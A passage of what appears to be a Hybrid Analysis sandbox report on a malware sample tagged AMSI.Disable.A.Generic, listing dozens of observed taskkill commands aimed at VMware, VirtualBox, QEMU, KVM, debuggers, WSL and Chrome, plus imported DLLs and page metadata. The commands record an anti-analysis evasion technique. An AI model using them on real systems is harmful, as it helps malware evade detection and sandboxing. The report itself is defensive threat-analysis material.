dbg","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00002320"},{"pid":3712,"ppid":788,"name":"taskkill.exe","command_line":"taskkill vmware","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003712"},{"pid":2544,"ppid":788,"name":"taskkill.exe","command_line":"taskkill virtualbox","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00002544"},{"pid":3084,"ppid":788,"name":"taskkill.exe","command_line":"taskkill hypervisor","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003084"},{"pid":3188,"ppid":788,"name":"taskkill.exe","command_line":"taskkill qemu","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003188"},{"pid":1944,"ppid":788,"name":"taskkill.exe","command_line":"taskkill kvm","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00001944"},{"pid":3184,"ppid":788,"name":"taskkill.exe","command_line":"taskkill wsl.exe","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003184"},{"pid":3496,"ppid":788,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe 23","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003496"},{"pid":4944,"ppid":788,"name":"taskkill.exe","command_line":"taskkill dbg","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00004944"},{"pid":6496,"ppid":788,"name":"taskkill.exe","command_line":"taskkill vmware","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00006496"},{"pid":3604,"ppid":788,"name":"taskkill.exe","command_line":"taskkill virtualbox","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003604"},{"pid":3540,"ppid":788,"name":"taskkill.exe","command_line":"taskkill hypervisor","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003540"},{"pid":3216,"ppid":788,"name":"taskkill.exe","command_line":"taskkill qemu","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003216"},{"pid":5704,"ppid":788,"name":"taskkill.exe","command_line":"taskkill kvm","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005704"},{"pid":3784,"ppid":788,"name":"taskkill.exe","command_line":"taskkill wsl.exe","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003784"},{"pid":7172,"ppid":788,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe 23","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00007172"},{"pid":5256,"ppid":788,"name":"taskkill.exe","command_line":"taskkill dbg","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005256"},{"pid":5772,"ppid":788,"name":"taskkill.exe","command_line":"taskkill vmware","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005772"},{"pid":5608,"ppid":788,"name":"taskkill.exe","command_line":"taskkill virtualbox","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005608"},{"pid":5472,"ppid":788,"name":"taskkill.exe","command_line":"taskkill hypervisor","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005472"},{"pid":5800,"ppid":788,"name":"taskkill.exe","command_line":"taskkill qemu","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005800"},{"pid":6684,"ppid":788,"name":"taskkill.exe","command_line":"taskkill kvm","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00006684"},{"pid":6660,"ppid":788,"name":"taskkill.exe","command_line":"taskkill wsl.exe","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00006660"},{"pid":6100,"ppid":788,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe 23","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00006100"},{"pid":6048,"ppid":788,"name":"taskkill.exe","command_line":"taskkill dbg","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00006048"},{"pid":5872,"ppid":788,"name":"taskkill.exe","command_line":"taskkill vmware","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005872"},{"pid":5876,"ppid":788,"name":"taskkill.exe","command_line":"taskkill virtualbox","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005876"},{"pid":6536,"ppid":788,"name":"taskkill.exe","command_line":"taskkill hypervisor","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00006536"},{"pid":7132,"ppid":788,"name":"taskkill.exe","command_line":"taskkill qemu","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00007132"},{"pid":8020,"ppid":788,"name":"taskkill.exe","command_line":"taskkill kvm","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00008020"},{"pid":3008,"ppid":788,"name":"taskkill.exe","command_line":"taskkill wsl.exe","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003008"},{"pid":4808,"ppid":788,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe 23","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00004808"},{"pid":2964,"ppid":788,"name":"taskkill.exe","command_line":"taskkill dbg","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00002964"},{"pid":4252,"ppid":788,"name":"taskkill.exe","command_line":"taskkill vmware","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00004252"},{"pid":3316,"ppid":788,"name":"taskkill.exe","command_line":"taskkill virtualbox","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003316"},{"pid":7880,"ppid":788,"name":"taskkill.exe","command_line":"taskkill hypervisor","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00007880"},{"pid":6792,"ppid":788,"name":"taskkill.exe","command_line":"taskkill qemu","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00006792"},{"pid":8008,"ppid":788,"name":"taskkill.exe","command_line":"taskkill kvm","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00008008"},{"pid":7800,"ppid":788,"name":"taskkill.exe","command_line":"taskkill wsl.exe","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00007800"},{"pid":5892,"ppid":788,"name":"taskkill.exe","command_line":"taskkill /F /IM chrome.exe 23","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005892"},{"pid":5340,"ppid":788,"name":"taskkill.exe","command_line":"taskkill dbg","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005340"},{"pid":5260,"ppid":788,"name":"taskkill.exe","command_line":"taskkill vmware","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00005260"},{"pid":3228,"ppid":788,"name":"taskkill.exe","command_line":"taskkill virtualbox","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003228"},{"pid":3116,"ppid":788,"name":"taskkill.exe","command_line":"taskkill hypervisor","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00003116"},{"pid":8072,"ppid":788,"name":"taskkill.exe","command_line":"taskkill qemu","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00008072"},{"pid":6968,"ppid":788,"name":"taskkill.exe","command_line":"taskkill kvm","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00006968"},{"pid":200,"ppid":788,"name":"taskkill.exe","command_line":"taskkill wsl.exe","sha256":"d3723916e8f8ab3ed3c7c261d33111b0124f47a901ecffd744513cb4f4890577","normalized_path":"%WINDIR%\\system32\\taskkill.exe","parent_uid":"00000000-00000788","uid":"00000000-00000200"}],"all_imported_dlls":["ole32.dll","sspicli.dll","kernel.appcore.dll","vcruntime140_1.dll","ntdll.dll","cmdext.dll","dbghelp.dll","win32u.dll","gdi32full.dll","msvcp_win.dll","oleaut32.dll","KernelBase.dll","msvcrt.dll","VxSSL64.dll","rpcrt4.dll","bcryptprimitives.dll","version.dll","framedynos.dll","clbcatq.dll","ws2_32.dll","fltLib.dll","gdi32.dll","shlwapi.dll","winsta.dll","user32.dll","ucrtbase.dll","msvcp140.dll","vcruntime140.dll","combase.dll","mpr.dll","srvcli.dll","netutils.dll","imm32.dll","advapi32.dll","sechost.dll","wbemprox.dll","wbemcomn.dll","bcrypt.dll","kernel32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":null,"files_written":null,"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["6ac81a2eb6be286a53016b90"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious AMSI.Disable.A.Generic Sample b62912c1a80c… — Score 83/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b62912c1a80c…. Malware family: AMSI.Disable.A.Generic. Threat score 83/100. 3/23 AV engines flagged this file. 5 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b62912c1a80c836ab9b8704dafbf7158e86f7505d1e4464cd75c699afd323c65"}],["$","meta","4",{"property":"og:title","content":"Malicious AMSI.Disable.A.Generic Sample b62912c1a80c… — Score 83/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b62912c1a80c…. Malware family: AMSI.Disable.A.Generic. Threat score 83/100. 3/23 AV engines flagged this file. 5 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b62912c1a80c836ab9b8704dafbf7158e86f7505d1e4464cd75c699afd323c65"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious AMSI.Disable.A.Generic Sample b62912c1a80c… — Score 83/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b62912c1a80c…. Malware family: AMSI.Disable.A.Generic. Threat score 83/100. 3/23 AV engines flagged this file. 5 malicious and 7 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L32","11",{}]]